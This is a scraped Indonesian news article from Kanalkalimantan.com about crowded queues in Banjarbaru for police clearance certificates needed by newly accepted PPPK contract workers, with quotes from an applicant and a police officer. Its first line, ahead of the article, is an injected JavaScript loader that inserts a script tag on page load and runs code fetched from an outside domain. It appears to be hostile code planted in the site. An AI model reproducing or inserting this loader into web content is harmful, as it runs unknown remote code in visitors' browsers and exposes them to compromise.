(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Suasana antrean pembuatan Surat Keterangan Catatan Kepolisian (SKCK) di Polres Kota Banjarbaru ramai didatangi tenaga honorer yang baru saja dinyatakan lolos sebagai Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) di Provinsi Kalimantan Selatan.
Mereka datang untuk melengkapi persyaratan untuk mengisi daftar riwayat hidup, salah satunya adalah SKCK.
Pantauan Kanalkalimantan.com, antusias tersebut membuat antrean pemohon di dua tempat yakni Polres Banjarbaru dan Polsek membludak setiap hari.
Antrean melonjak tajam sudah terlihat sejak pukul 08.00 Wita hingga sore, dan bahkan pelayanan masih dibuka hingga malam hari.
Baca juga: Market Day Ala SDITQ Banjarmasin: Ada Fiqih Jual Beli Dipadu Kreatifitas Siswa
Salah satunya Eko asal Kecamatan Landasan Ulin, merupakan salah satu tenaga honorer di Dinas Perdagangan Provinsi Kalsel.
“Hari ini sudah antre dari sebelum jam 12 siang, sebelumnya hari Jumat sudah daftar offline jam 10 pagi, maka SKCK selesai diambilnya hari ini nunggu nomor antrean,” ujar Eko salah satu honorer saat diwawancarai, Sabtu (13/9/2025) sore.
Eko mengatakan sudah menjadi tenaga honorer di salah satu UPT di Dinas Perdagangan Provinsi Kalsel sejak tahun 2014.
Setelah 10 tahun menjadi honorer dan sempat gagal rekrutmen PPPK sebelumnya, atas usulan ke Badan Kepegawaian Negara (BKN) dirinya yang sempat gagal ini dinyatakan masuk PPPK Paruh Waktu.
Baca juga: Ramah Tamah Bersama Purna Paskibraka, Wabup Dodo: Jangan Dekati Narkoba
“Ya, kita syukuri aja, Alhamdulillah disyukuri aja,” ungkapnya.
Sementara itu, Kasat Intelkam Polres Banjarbaru, AKP Indra Wahyu Wibowo mengatakan, pelayanan SKCK di Polres Banjarbaru akan dibuka sampai masa pendaftaran berkas dari pemohon PPPK berakhir yakni hingga 22 September mendatang.
“Jadi akan kita layani sampai selesainya para pemohon, baik itu hari Sabtu maupun Minggu, hari libur anggota tetap akan bekerja untuk melaksanakan, memberikan pelayanan SKCK,” ujar Kasat Intelkam Polres Banjarbaru, AKP Indra Wahyu Wibowo saat diwawancarai terpisah.
AKP Indra menyebutkan sampai saat ini sudah ada lebih dari 1.000 orang pemohon yang terdata masuk dan datang membuat SKCK.
Baca juga: “Pengin Hijrah” Perjalanan Seorang Wanita Mencari Jalan Kebenaran
Menurut pengumuman juga katanya ada 3.000 orang pemohon yang ditargetkan membuat SKCK baik di lingkup Pemerintah Kota Banjarbaru maupun Pemerintah Provinsi Kalsel.
“Tapi yang untuk Pemprov itu kan kita tersebar di seluruh Kalimantan Selatan ya, jadi kita belum mengetahui apakah berapa jumlah yang pengumuman PPPK dari Pemprov,” jelasnya.
Adapun pelayanan SKCK yang diberikan pada dua lokasi, yakni Polsek-Polsek yang ada di wilayah Banjarbaru serta markas Polres Banjarbaru yang di pusatkan di ruang piket Unit Reskrim.
“Kita tetap harus tetap melaksanakan pelayanan yang mana kita saat ini memakai tempat ruangan piket Reskrim dengan situasi kondisi seperti yang ada saat ini, kita maksimalkan,” imbuh AKP Indra.
Baca juga: Perkuat Sistem Manajemen Mutu Laboratorium, Dinas PUPR Kalsel Gelar In House Training
Karena adanya musibah kebakaran sempat melanda ruang SPKT dan ruang pelayanan Polres Banjarbaru, kendati demikian pelayanan tetap dilakukan dengan maksimal.
“Saya berikan penekanan kepada anggota, jangan sampai ada pelayanan yang tidak maksimal,
meskipun dengan keterbatas waktu dan tempat, tetap kita melebihkan pelayanan kepada masyarakat,” tegasnya.
Jalur pembuatan SKCK juga disediakan dua jalur, yakni secara offline dan online. Dirinya pun mengimbau agar pemohon dapat bersabar untuk mengakses jalur online pembuatan SKCK ini.
“Untuk jalur online memang untuk saat ini server di tingkat Mabes sampai ke wilayah ini posisi lagi ada gangguan karena hampir serentak seluruh Indonesia,” ungkapnya lagi.
Dirinya menyarankan pemohon yang mengakses jalur online pembuatan SKCK dapat mencoba pada jam-jam tidak sibuk, seperti jam 12 malam ke atas.
“Ada beberapa yang sudah berhasil, tapi memang situasi kondisi saat ini adalah penerimaan SKCK secara online ini serentak seluruh Indonesia. Oleh karenanya server langsung down, tapi tidak ada gendala, tetap kita berikan kelayanan dengan offline,” tutup dia. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.